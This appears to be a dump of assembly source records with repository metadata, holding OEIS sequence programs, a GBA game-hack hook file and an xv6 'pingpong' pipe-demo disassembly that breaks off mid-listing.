45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 46 00 46 00 46 46 46 46 46 45 46 47 00 00 00 00 00 00 00 00 49 49 48 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 46 46 45 46 47 00 46 00 45 45 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 47 00 00 00 00 00 00 00 00 45 45 45 00 45 00 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 46 46 45 45 45 45 45 45 45 46 46 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 49 00 00 49 00 00 00 00 47 00 00 47 00 00 00 45 00 00 45 45 00 00 00 45 45 45 45 45 45 45 45 45 45 45 45 00 00 45 45 45 45 45 45 45 00 45 45 00 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 46 46 46 45 45 45 46 45 45 45 46 47 00 46 00 00 00 45 45 45 00 45 45 45 45 45 45 00 45 45 45 45 00 45 45 00 00 45 45 45 45 45 45 */
33.620536
2,999
0.659939
b609513df36f3d3b5167dda9c25b28e50d51d6c0
451
asm
Assembly
programs/oeis/118/A118015.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/118/A118015.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/118/A118015.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A118015: a(n) = floor(n^2/5). ; 0,0,0,1,3,5,7,9,12,16,20,24,28,33,39,45,51,57,64,72,80,88,96,105,115,125,135,145,156,168,180,192,204,217,231,245,259,273,288,304,320,336,352,369,387,405,423,441,460,480,500,520,540,561,583,605,627,649,672,696,720,744,768,793,819,845,871,897,924,952,980,1008,1036,1065,1095,1125,1155,1185,1216,1248,1280,1312,1344,1377,1411,1445,1479,1513,1548,1584,1620,1656,1692,1729,1767,1805,1843,1881,1920,1960 pow $0,2 div $0,5
75.166667
399
0.720621
a4e1040084230fa5a274c0100bbde028049611db
192
asm
Assembly
Engine Hacks/Poison Rework/Hooks.asm
sme23/Christmas2
f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79
[ "CC0-1.0" ]
null
null
null
Engine Hacks/Poison Rework/Hooks.asm
sme23/Christmas2
f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79
[ "CC0-1.0" ]
null
null
null
Engine Hacks/Poison Rework/Hooks.asm
sme23/Christmas2
f3f3daeda1afe2b78bfed38cbf60d8bc17ca9f79
[ "CC0-1.0" ]
null
null
null
.macro SET_FUNC name, value .global \name .type \name, %function .set \name, \value .endm SET_FUNC SetPoisonWeapon, (0x080178D8+1) SET_FUNC SetPoisonDamage, (0x08025A2C+1)
17.454545
40
0.6875
4794ee2af529451560b9742785982939a10987cc
1,082
asm
Assembly
programs/oeis/063/A063759.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/063/A063759.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/063/A063759.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A063759: Spherical growth series for modular group. ; 1,3,4,6,8,12,16,24,32,48,64,96,128,192,256,384,512,768,1024,1536,2048,3072,4096,6144,8192,12288,16384,24576,32768,49152,65536,98304,131072,196608,262144,393216,524288,786432,1048576,1572864,2097152,3145728,4194304,6291456,8388608,12582912,16777216,25165824,33554432,50331648,67108864,100663296,134217728,201326592,268435456,402653184,536870912,805306368,1073741824,1610612736,2147483648,3221225472,4294967296,6442450944,8589934592,12884901888,17179869184,25769803776,34359738368,51539607552,68719476736,103079215104,137438953472,206158430208,274877906944,412316860416,549755813888,824633720832,1099511627776,1649267441664,2199023255552,3298534883328,4398046511104,6597069766656,8796093022208,13194139533312,17592186044416,26388279066624,35184372088832,52776558133248,70368744177664,105553116266496,140737488355328,211106232532992,281474976710656,422212465065984,562949953421312,844424930131968,1125899906842624,1688849860263936 mov $2,1 lpb $0 sub $0,1 add $1,$2 mov $2,$1 add $1,1 trn $2,$0 lpe add $1,1 mov $0,$1
77.285714
929
0.848429
d606e3f18a6ddd564b503f72134fd6fa2367ea77
41,809
asm
Assembly
user/pingpong.asm
liyanxp/Xv6-labs
404e9a376cc55089fa810a2235503bb6eda89359
[ "MIT-0" ]
null
null
null
user/pingpong.asm
liyanxp/Xv6-labs
404e9a376cc55089fa810a2235503bb6eda89359
[ "MIT-0" ]
null
null
null
user/pingpong.asm
liyanxp/Xv6-labs
404e9a376cc55089fa810a2235503bb6eda89359
[ "MIT-0" ]
null
null
null
user/_pingpong: file format elf64-littleriscv Disassembly of section .text: 0000000000000000 <main>: #include "kernel/types.h" #include "user.h" int main(){ 0: 7179 addi sp,sp,-48 2: f406 sd ra,40(sp) 4: f022 sd s0,32(sp) 6: 1800 addi s0,sp,48 // exit(0); int p1[2]; int p2[2]; char p2c; char c2p; pipe(p1); 8: fe840513 addi a0,s0,-24 c: 00000097 auipc ra,0x0 10: 380080e7 jalr 896(ra) # 38c <pipe> pipe(p2); 14: fe040513 addi a0,s0,-32 18: 00000097 auipc ra,0x0 1c: 374080e7 jalr 884(ra) # 38c <pipe> if(fork() == 0){ 20: 00000097 auipc ra,0x0 24: 354080e7 jalr 852(ra) # 374 <fork> 28: ed25 bnez a0,a0 <main+0xa0> close(p1[0]); 2a: fe842503 lw a0,-24(s0) 2e: 00000097 auipc ra,0x0 32: 376080e7 jalr 886(ra) # 3a4 <close> close(p2[1]); 36: fe442503 lw a0,-28(s0) 3a: 00000097 auipc ra,0x0 3e: 36a080e7 jalr 874(ra) # 3a4 <close> if(read(p2[0],&p2c,1)) 42: 4605 li a2,1 44: fdf40593 addi a1,s0,-33 48: fe042503 lw a0,-32(s0) 4c: 00000097 auipc ra,0x0 50: 348080e7 jalr 840(ra) # 394 <read> 54: e51d bnez a0,82 <main+0x82> fprintf(1,"%d: received ping\n", getpid()); write(p1[1], "o", 1); 56: 4605 li a2,1 58: 00001597 auipc a1,0x1 5c: 85858593 addi a1,a1,-1960 # 8b0 <malloc+0xfe> 60: fec42503 lw a0,-20(s0) 64: 00000097 auipc ra,0x0 68: 338080e7 jalr 824(ra) # 39c <write> close(p1[1]); 6c: fec42503 lw a0,-20(s0) 70: 00000097 auipc ra,0x0 74: 334080e7 jalr 820(ra) # 3a4 <close> if(read(p1[0],&c2p,1)) fprintf(1, "%d: received pong\n", getpid()); close(p2[1]); } exit(0); 78: 4501 li a0,0 7a: 00000097 auipc ra,0x0 7e: 302080e7 jalr 770(ra) # 37c <exit> fprintf(1,"%d: received ping\n", getpid()); 82: 00000097 auipc ra,0x0 86: 37a080e7 jalr 890(ra) # 3fc <getpid> 8a: 862a mv a2,a0 8c: 00001597 auipc a1,0x1 90: 80c58593 addi a1,a1,-2036 # 898 <malloc+0xe6> 94: 4505 li a0,1 96: 00000097 auipc ra,0x0 9a: 630080e7 jalr 1584(ra) # 6c6 <fprintf> 9e: bf65 j 56 <main+0x56> close(p1[1]); a0: fec42503 lw a0,-20(s0) a4: 00000097 auipc ra,0x0 a8: 300080e7 jalr 768(ra) # 3a4 <close> close(p2[0]); ac: fe042503 lw a0,-32(s0) b0: 00000097 auipc ra,0x0 b4: 2f4080e7 jalr 756(ra) # 3a4 <close> write(p2[1],"i", 1); b8: 4605 li a2,1 ba: 00000597 auipc a1,0x0 be: 7fe58593 addi a1,a1,2046 # 8b8 <malloc+0x106> c2: fe442503 lw a0,-28(s0) c6: 00000097 auipc ra,0x0 ca: 2d6080e7 jalr 726(ra) # 39c <write> if(read(p1[0],&c2p,1)) ce: 4605 li a2,1 d0: fde40593 addi a1,s0,-34 d4: fe842503 lw a0,-24(s0) d8: 00000097 auipc ra,0x0 dc: 2bc080e7 jalr 700(ra) # 394 <read> e0: e901 bnez a0,f0 <main+0xf0> close(p2[1]); e2: fe442503 lw a0,-28(s0) e6: 00000097 auipc ra,0x0 ea: 2be080e7 jalr 702(ra) # 3a4 <close> ee: b769 j 78 <main+0x78> fprintf(1, "%d: received pong\n", getpid()); f0: 00000097 auipc ra,0x0 f4: 30c080e7 jalr 780(ra) # 3fc <getpid> f8: 862a mv a2,a0 fa: 00000597 auipc a1,0x0 fe: 7c658593 addi a1,a1,1990 # 8c0 <malloc+0x10e> 102: 4505 li a0,1 104: 00000097 auipc ra,0x0 108: 5c2080e7 jalr 1474(ra) # 6c6 <fprintf> 10c: bfd9 j e2 <main+0xe2> 000000000000010e <strcpy>: #include "kernel/fcntl.h" #include "user/user.h" char* strcpy(char *s, const char *t) { 10e: 1141 addi sp,sp,-16 110: e422 sd s0,8(sp) 112: 0800 addi s0,sp,16 char *os; os = s; while((*s++ = *t++) != 0) 114: 87aa mv a5,a0 116: 0585 addi a1,a1,1 118: 0785 addi a5,a5,1 11a: fff5c703 lbu a4,-1(a1) 11e: fee78fa3 sb a4,-1(a5) 122: fb75 bnez a4,116 <strcpy+0x8> ; return os; } 124: 6422 ld s0,8(sp) 126: 0141 addi sp,sp,16 128: 8082 ret 000000000000012a <strcmp>: int strcmp(const char *p, const char *q) { 12a: 1141 addi sp,sp,-16 12c: e422 sd s0,8(sp) 12e: 0800 addi s0,sp,16 while(*p && *p == *q) 130: 00054783 lbu a5,0(a0) 134: cb91 beqz a5,148 <strcmp+0x1e> 136: 0005c703 lbu a4,0(a1) 13a: 00f71763 bne a4,a5,148 <strcmp+0x1e> p++, q++; 13e: 0505 addi a0,a0,1 140: 0585 addi a1,a1,1 while(*p && *p == *q) 142: 00054783 lbu a5,0(a0) 146: fbe5 bnez a5,136 <strcmp+0xc> return (uchar)*p - (uchar)*q; 148: 0005c503 lbu a0,0(a1) } 14c: 40a7853b subw a0,a5,a0 150: 6422 ld s0,8(sp) 152: 0141 addi sp,sp,16 154: 8082 ret 0000000000000156 <strlen>: uint strlen(const char *s) { 156: 1141 addi sp,sp,-16 158: e422 sd s0,8(sp) 15a: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) 15c: 00054783 lbu a5,0(a0) 160: cf91 beqz a5,17c <strlen+0x26> 162: 0505 addi a0,a0,1 164: 87aa mv a5,a0 166: 4685 li a3,1 168: 9e89 subw a3,a3,a0 16a: 00f6853b addw a0,a3,a5 16e: 0785 addi a5,a5,1 170: fff7c703 lbu a4,-1(a5) 174: fb7d bnez a4,16a <strlen+0x14> ; return n; } 176: 6422 ld s0,8(sp) 178: 0141 addi sp,sp,16 17a: 8082 ret for(n = 0; s[n]; n++) 17c: 4501 li a0,0 17e: bfe5 j 176 <strlen+0x20> 0000000000000180 <memset>: void* memset(void *dst, int c, uint n) { 180: 1141 addi sp,sp,-16 182: e422 sd s0,8(sp) 184: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ 186: ca19 beqz a2,19c <memset+0x1c> 188: 87aa mv a5,a0 18a: 1602 slli a2,a2,0x20 18c: 9201 srli a2,a2,0x20 18e: 00a60733 add a4,a2,a0 cdst[i] = c; 192: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ 196: 0785 addi a5,a5,1 198: fee79de3 bne a5,a4,192 <memset+0x12> } return dst; } 19c: 6422 ld s0,8(sp) 19e: 0141 addi sp,sp,16 1a0: 8082 ret 00000000000001a2 <strchr>: char* strchr(const char *s, char c) { 1a2: 1141 addi sp,sp,-16 1a4: e422 sd s0,8(sp) 1a6: 0800 addi s0,sp,16 for(; *s; s++) 1a8: 00054783 lbu a5,0(a0) 1ac: cb99 beqz a5,1c2 <strchr+0x20> if(*s == c) 1ae: 00f58763 beq a1,a5,1bc <strchr+0x1a> for(; *s; s++) 1b2: 0505 addi a0,a0,1 1b4: 00054783 lbu a5,0(a0) 1b8: fbfd bnez a5,1ae <strchr+0xc> return (char*)s; return 0; 1ba: 4501 li a0,0 } 1bc: 6422 ld s0,8(sp) 1be: 0141 addi sp,sp,16 1c0: 8082 ret return 0; 1c2: 4501 li a0,0 1c4: bfe5 j 1bc <strchr+0x1a> 00000000000001c6 <gets>: char* gets(char *buf, int max) { 1c6: 711d addi sp,sp,-96 1c8: ec86 sd ra,88(sp) 1ca: e8a2 sd s0,80(sp) 1cc: e4a6 sd s1,72(sp) 1ce: e0ca sd s2,64(sp) 1d0: fc4e sd s3,56(sp) 1d2: f852 sd s4,48(sp) 1d4: f456 sd s5,40(sp) 1d6: f05a sd s6,32(sp) 1d8: ec5e sd s7,24(sp) 1da: 1080 addi s0,sp,96 1dc: 8baa mv s7,a0 1de: 8a2e mv s4,a1 int i, cc; char c; for(i=0; i+1 < max; ){ 1e0: 892a mv s2,a0 1e2: 4481 li s1,0 cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 1e4: 4aa9 li s5,10 1e6: 4b35 li s6,13 for(i=0; i+1 < max; ){ 1e8: 89a6 mv s3,s1 1ea: 2485 addiw s1,s1,1 1ec: 0344d863 bge s1,s4,21c <gets+0x56> cc = read(0, &c, 1); 1f0: 4605 li a2,1 1f2: faf40593 addi a1,s0,-81 1f6: 4501 li a0,0 1f8: 00000097 auipc ra,0x0 1fc: 19c080e7 jalr 412(ra) # 394 <read> if(cc < 1) 200: 00a05e63 blez a0,21c <gets+0x56> buf[i++] = c; 204: faf44783 lbu a5,-81(s0) 208: 00f90023 sb a5,0(s2) if(c == '\n' || c == '\r') 20c: 01578763 beq a5,s5,21a <gets+0x54> 210: 0905 addi s2,s2,1 212: fd679be3 bne a5,s6,1e8 <gets+0x22> for(i=0; i+1 < max; ){ 216: 89a6 mv s3,s1 218: a011 j 21c <gets+0x56> 21a: 89a6 mv s3,s1 break; } buf[i] = '\0'; 21c: 99de add s3,s3,s7 21e: 00098023 sb zero,0(s3) return buf; } 222: 855e mv a0,s7 224: 60e6 ld ra,88(sp) 226: 6446 ld s0,80(sp) 228: 64a6 ld s1,72(sp) 22a: 6906 ld s2,64(sp) 22c: 79e2 ld s3,56(sp) 22e: 7a42 ld s4,48(sp) 230: 7aa2 ld s5,40(sp) 232: 7b02 ld s6,32(sp) 234: 6be2 ld s7,24(sp) 236: 6125 addi sp,sp,96 238: 8082 ret 000000000000023a <stat>: int stat(const char *n, struct stat *st) { 23a: 1101 addi sp,sp,-32 23c: ec06 sd ra,24(sp) 23e: e822 sd s0,16(sp) 240: e426 sd s1,8(sp) 242: e04a sd s2,0(sp) 244: 1000 addi s0,sp,32 246: 892e mv s2,a1 int fd; int r; fd = open(n, O_RDONLY); 248: 4581 li a1,0 24a: 00000097 auipc ra,0x0 24e: 172080e7 jalr 370(ra) # 3bc <open> if(fd < 0) 252: 02054563 bltz a0,27c <stat+0x42> 256: 84aa mv s1,a0 return -1; r = fstat(fd, st); 258: 85ca mv a1,s2 25a: 00000097 auipc ra,0x0 25e: 17a080e7 jalr 378(ra) # 3d4 <fstat> 262: 892a mv s2,a0 close(fd); 264: 8526 mv a0,s1 266: 00000097 auipc ra,0x0 26a: 13e080e7 jalr 318(ra) # 3a4 <close> return r; } 26e: 854a mv a0,s2 270: 60e2 ld ra,24(sp) 272: 6442 ld s0,16(sp) 274: 64a2 ld s1,8(sp) 276: 6902 ld s2,0(sp) 278: 6105 addi sp,sp,32 27a: 8082 ret return -1; 27c: 597d li s2,-1 27e: bfc5 j 26e <stat+0x34> 0000000000000280 <atoi>: int atoi(const char *s) { 280: 1141 addi sp,sp,-16 282: e422 sd s0,8(sp) 284: 0800 addi s0,sp,16 int n; n = 0; while('0' <= *s && *s <= '9') 286: 00054603 lbu a2,0(a0) 28a: fd06079b addiw a5,a2,-48 28e: 0ff7f793 zext.b a5,a5 292: 4725 li a4,9 294: 02f76963 bltu a4,a5,2c6 <atoi+0x46> 298: 86aa mv a3,a0 n = 0; 29a: 4501 li a0,0 while('0' <= *s && *s <= '9') 29c: 45a5 li a1,9 n = n*10 + *s++ - '0'; 29e: 0685 addi a3,a3,1 2a0: 0025179b slliw a5,a0,0x2 2a4: 9fa9 addw a5,a5,a0 2a6: 0017979b slliw a5,a5,0x1 2aa: 9fb1 addw a5,a5,a2 2ac: fd07851b addiw a0,a5,-48 while('0' <= *s && *s <= '9') 2b0: 0006c603 lbu a2,0(a3) 2b4: fd06071b addiw a4,a2,-48 2b8: 0ff77713 zext.b a4,a4 2bc: fee5f1e3 bgeu a1,a4,29e <atoi+0x1e> return n; } 2c0: 6422 ld s0,8(sp) 2c2: 0141 addi sp,sp,16 2c4: 8082 ret n = 0; 2c6: 4501 li a0,0 2c8: bfe5 j 2c0 <atoi+0x40> 00000000000002ca <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 2ca: 1141 addi sp,sp,-16 2cc: e422 sd s0,8(sp) 2ce: 0800 addi s0,sp,16 char *dst; const char *src; dst = vdst; src = vsrc; if (src > dst) { 2d0: 02b57463 bgeu a0,a1,2f8 <memmove+0x2e> while(n-- > 0) 2d4: 00c05f63 blez a2,2f2 <memmove+0x28> 2d8: 1602 slli a2,a2,0x20 2da: 9201 srli a2,a2,0x20 2dc: 00c507b3 add a5,a0,a2 dst = vdst; 2e0: 872a mv a4,a0 *dst++ = *src++; 2e2: 0585 addi a1,a1,1 2e4: 0705 addi a4,a4,1 2e6: fff5c683 lbu a3,-1(a1) 2ea: fed70fa3 sb a3,-1(a4) while(n-- > 0) 2ee: fee79ae3 bne a5,a4,2e2 <memmove+0x18> src += n; while(n-- > 0) *--dst = *--src; } return vdst; } 2f2: 6422 ld s0,8(sp) 2f4: 0141 addi sp,sp,16 2f6: 8082 ret dst += n; 2f8: 00c50733 add a4,a0,a2 src += n; 2fc: 95b2 add a1,a1,a2 while(n-- > 0) 2fe: fec05ae3 blez a2,2f2 <memmove+0x28> 302: fff6079b addiw a5,a2,-1 306: 1782 slli a5,a5,0x20 308: 9381 srli a5,a5,0x20 30a: fff7c793 not a5,a5 30e: 97ba add a5,a5,a4 *--dst = *--src; 310: 15fd addi a1,a1,-1 312: 177d addi a4,a4,-1 314: 0005c683 lbu a3,0(a1) 318: 00d70023 sb a3,0(a4) while(n-- > 0) 31c: fee79ae3 bne a5,a4,310 <memmove+0x46> 320: bfc9 j 2f2 <memmove+0x28> 0000000000000322 <memcmp>: int memcmp(const void *s1, const void *s2, uint n) { 322: 1141 addi sp,sp,-16 324: e422 sd s0,8(sp) 326: 0800 addi s0,sp,16 const char *p1 = s1, *p2 = s2; while (n-- > 0) { 328: ca05 beqz a2,358 <memcmp+0x36> 32a: fff6069b addiw a3,a2,-1 32e: 1682 slli a3,a3,0x20 330: 9281 srli a3,a3,0x20 332: 0685 addi a3,a3,1 334: 96aa add a3,a3,a0 if (*p1 != *p2) { 336: 00054783 lbu a5,0(a0) 33a: 0005c703 lbu a4,0(a1) 33e: 00e79863 bne a5,a4,34e <memcmp+0x2c> return *p1 - *p2; } p1++; 342: 0505 addi a0,a0,1 p2++; 344: 0585 addi a1,a1,1 while (n-- > 0) { 346: fed518e3 bne a0,a3,336 <memcmp+0x14> } return 0; 34a: 4501 li a0,0 34c: a019 j 352 <memcmp+0x30> return *p1 - *p2; 34e: 40e7853b subw a0,a5,a4 } 352: 6422 ld s0,8(sp) 354: 0141 addi sp,sp,16 356: 8082 ret return 0; 358: 4501 li a0,0 35a: bfe5 j 352 <memcmp+0x30> 000000000000035c <memcpy>: void * memcpy(void *dst, const void *src, uint n) { 35c: 1141 addi sp,sp,-16 35e: e406 sd ra,8(sp) 360: e022 sd s0,0(sp) 362: 0800 addi s0,sp,16 return memmove(dst, src, n); 364: 00000097 auipc ra,0x0 368: f66080e7 jalr -154(ra) # 2ca <memmove> } 36c: 60a2 ld ra,8(sp) 36e: 6402 ld s0,0(sp) 370: 0141 addi sp,sp,16 372: 8082 ret 0000000000000374 <fork>: # generated by usys.pl - do not edit #include "kernel/syscall.h" .global fork fork: li a7, SYS_fork 374: 4885 li a7,1 ecall 376: 00000073 ecall ret 37a: 8082 ret 000000000000037c <exit>: .global exit exit: li a7, SYS_exit 37c: 4889 li a7,2 ecall 37e: 00000073 ecall ret 382: 8082 ret 0000000000000384 <wait>: .global wait wait: li a7, SYS_wait 384: 488d li a7,3 ecall 386: 00000073 ecall ret 38a: 8082 ret 000000000000038c <pipe>: .global pipe pipe: li a7, SYS_pipe 38c: 4891 li a7,4 ecall 38e: 00000073 ecall ret 392: 8082 ret 0000000000000394 <read>: .global read read: li a7, SYS_read 394: 4895 li a7,5 ecall 396: 00000073 ecall ret 39a: 8082 ret 000000000000039c <write>: .global write write: li a7, SYS_write 39c: 48c1 li a7,16 ecall 39e: 00000073 ecall ret 3a2: 8082 ret 00000000000003a4 <close>: .global close close: li a7, SYS_close 3a4: 48d5 li a7,21 ecall 3a6: 00000073 ecall ret 3aa: 8082 ret 00000000000003ac <kill>: .global kill kill: li a7, SYS_kill 3ac: 4899 li a7,6 ecall 3ae: 00000073 ecall ret 3b2: 8082 ret 00000000000003b4 <exec>: .global exec exec: li a7, SYS_exec 3b4: 489d li a7,7 ecall 3b6: 00000073 ecall ret 3ba: 8082 ret 00000000000003bc <open>: .global open open: li a7, SYS_open 3bc: 48bd li a7,15 ecall 3be: 00000073 ecall ret 3c2: 8082 ret 00000000000003c4 <mknod>: .global mknod mknod: li a7, SYS_mknod 3c4: 48c5 li a7,17 ecall 3c6: 00000073 ecall ret 3ca: 8082 ret 00000000000003cc <unlink>: .global unlink unlink: li a7, SYS_unlink 3cc: 48c9 li a7,18 ecall 3ce: 00000073 ecall ret 3d2: 8082 ret 00000000000003d4 <fstat>: .global fstat fstat: li a7, SYS_fstat 3d4: 48a1 li a7,8 ecall 3d6: 00000073 ecall ret 3da: 8082 ret 00000000000003dc <link>: .global link link: li a7, SYS_link 3dc: 48cd li a7,19 ecall 3de: 00000073 ecall ret 3e2: 8082 ret 00000000000003e4 <mkdir>: .global mkdir mkdir: li a7, SYS_mkdir 3e4: 48d1 li a7,20 ecall 3e6: 00000073 ecall ret 3ea: 8082 ret 00000000000003ec <chdir>: .global chdir chdir: li a7, SYS_chdir 3ec: 48a5 li a7,9 ecall 3ee: 00000073 ecall ret 3f2: 8082 ret 00000000000003f4 <dup>: .global dup dup: li a7, SYS_dup 3f4: 48a9 li a7,10 ecall 3f6: 00000073 ecall ret 3fa: 8082 ret 00000000000003fc <getpid>: .global getpid getpid: li a7, SYS_getpid 3fc: 48ad li a7,11 ecall 3fe: 00000073 ecall ret 402: 8082 ret 0000000000000404 <sbrk>: .global sbrk sbrk: li a7, SYS_sbrk 404: 48b1 li a7,12 ecall 406: 00000073 ecall ret 40a: 8082 ret 000000000000040c <sleep>: .global sleep sleep: li a7, SYS_sleep 40c: 48b5 li a7,13 ecall 40e: 00000073 ecall ret 412: 8082 ret 0000000000000414 <uptime>: .global uptime uptime: li a7, SYS_uptime 414: 48b9 li a7,14 ecall 416: 00000073 ecall ret 41a: 8082 ret 000000000000041c <putc>: static char digits[] = "0123456789ABCDEF"; static void putc(int fd, char c) { 41c: 1101 addi sp,sp,-32 41e: ec06 sd ra,24(sp) 420: e822 sd s0,16(sp) 422: 1000 addi s0,sp,32 424: feb407a3 sb a1,-17(s0) write(fd, &c, 1); 428: 4605 li a2,1 42a: fef40593 addi a1,s0,-17 42e: 00000097 auipc ra,0x0 432: f6e080e7 jalr -146(ra) # 39c <write> } 436: 60e2 ld ra,24(sp) 438: 6442 ld s0,16(sp) 43a: 6105 addi sp,sp,32 43c: 8082 ret 000000000000043e <printint>: static void printint(int fd, int xx, int base, int sgn) { 43e: 7139 addi sp,sp,-64 440: fc06 sd ra,56(sp) 442: f822 sd s0,48(sp) 444: f426 sd s1,40(sp) 446: f04a sd s2,32(sp) 448: ec4e sd s3,24(sp) 44a: 0080 addi s0,sp,64 44c: 84aa mv s1,a0 char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 44e: c299 beqz a3,454 <printint+0x16> 450: 0805c863 bltz a1,4e0 <printint+0xa2> neg = 1; x = -xx; } else { x = xx; 454: 2581 sext.w a1,a1 neg = 0; 456: 4881 li a7,0 458: fc040693 addi a3,s0,-64 } i = 0; 45c: 4701 li a4,0 do{ buf[i++] = digits[x % base]; 45e: 2601 sext.w a2,a2 460: 00000517 auipc a0,0x0 464: 48050513 addi a0,a0,1152 # 8e0 <digits> 468: 883a mv a6,a4 46a: 2705 addiw a4,a4,1 46c: 02c5f7bb remuw a5,a1,a2 470: 1782 slli a5,a5,0x20 472: 9381 srli a5,a5,0x20 474: 97aa add a5,a5,a0 476: 0007c783 lbu a5,0(a5) 47a: 00f68023 sb a5,0(a3) }while((x /= base) != 0); 47e: 0005879b sext.w a5,a1 482: 02c5d5bb divuw a1,a1,a2 486: 0685 addi a3,a3,1 488: fec7f0e3 bgeu a5,a2,468 <printint+0x2a> if(neg) 48c: 00088b63 beqz a7,4a2 <printint+0x64> buf[i++] = '-'; 490: fd040793 addi a5,s0,-48 494: 973e add a4,a4,a5 496: 02d00793 li a5,45 49a: fef70823 sb a5,-16(a4) 49e: 0028071b addiw a4,a6,2 while(--i >= 0) 4a2: 02e05863 blez a4,4d2 <printint+0x94> 4a6: fc040793 addi a5,s0,-64 4aa: 00e78933 add s2,a5,a4 4ae: fff78993 addi s3,a5,-1 4b2: 99ba add s3,s3,a4 4b4: 377d addiw a4,a4,-1 4b6: 1702 slli a4,a4,0x20 4b8: 9301 srli a4,a4,0x20 4ba: 40e989b3 sub s3,s3,a4 putc(fd, buf[i]); 4be: fff94583 lbu a1,-1(s2) 4c2: 8526 mv a0,s1 4c4: 00000097 auipc ra,0x0 4c8: f58080e7 jalr -168(ra) # 41c <putc> while(--i >= 0) 4cc: 197d addi s2,s2,-1 4ce: ff3918e3 bne s2,s3,4be <printint+0x80> } 4d2: 70e2 ld ra,56(sp) 4d4: 7442 ld s0,48(sp) 4d6: 74a2 ld s1,40(sp) 4d8: 7902 ld s2,32(sp) 4da: 69e2 ld s3,24(sp) 4dc: 6121 addi sp,sp,64 4de: 8082 ret x = -xx; 4e0: 40b005bb negw a1,a1 neg = 1; 4e4: 4885 li a7,1 x = -xx; 4e6: bf8d j 458 <printint+0x1a> 00000000000004e8 <vprintf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void vprintf(int fd, const char *fmt, va_list ap) { 4e8: 7119 addi sp,sp,-128 4ea: fc86 sd ra,120(sp) 4ec: f8a2 sd s0,112(sp) 4ee: f4a6 sd s1,104(sp) 4f0: f0ca sd s2,96(sp) 4f2: ecce sd s3,88(sp) 4f4: e8d2 sd s4,80(sp) 4f6: e4d6 sd s5,72(sp) 4f8: e0da sd s6,64(sp) 4fa: fc5e sd s7,56(sp) 4fc: f862 sd s8,48(sp) 4fe: f466 sd s9,40(sp) 500: f06a sd s10,32(sp) 502: ec6e sd s11,24(sp) 504: 0100 addi s0,sp,128 char *s; int c, i, state; state = 0; for(i = 0; fmt[i]; i++){ 506: 0005c903 lbu s2,0(a1) 50a: 18090f63 beqz s2,6a8 <vprintf+0x1c0> 50e: 8aaa mv s5,a0 510: 8b32 mv s6,a2 512: 00158493 addi s1,a1,1 state = 0; 516: 4981 li s3,0 if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 518: 02500a13 li s4,37 if(c == 'd'){ 51c: 06400c13 li s8,100 printint(fd, va_arg(ap, int), 10, 1); } else if(c == 'l') { 520: 06c00c93 li s9,108 printint(fd, va_arg(ap, uint64), 10, 0); } else if(c == 'x') { 524: 07800d13 li s10,120 printint(fd, va_arg(ap, int), 16, 0); } else if(c == 'p') { 528: 07000d93 li s11,112 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 52c: 00000b97 auipc s7,0x0 530: 3b4b8b93 addi s7,s7,948 # 8e0 <digits> 534: a839 j 552 <vprintf+0x6a> putc(fd, c); 536: 85ca mv a1,s2 538: 8556 mv a0,s5 53a: 00000097 auipc ra,0x0 53e: ee2080e7 jalr -286(ra) # 41c <putc> 542: a019 j 548 <vprintf+0x60> } else if(state == '%'){ 544: 01498f63 beq s3,s4,562 <vprintf+0x7a> for(i = 0; fmt[i]; i++){ 548: 0485 addi s1,s1,1 54a: fff4c903 lbu s2,-1(s1) 54e: 14090d63 beqz s2,6a8 <vprintf+0x1c0> c = fmt[i] & 0xff; 552: 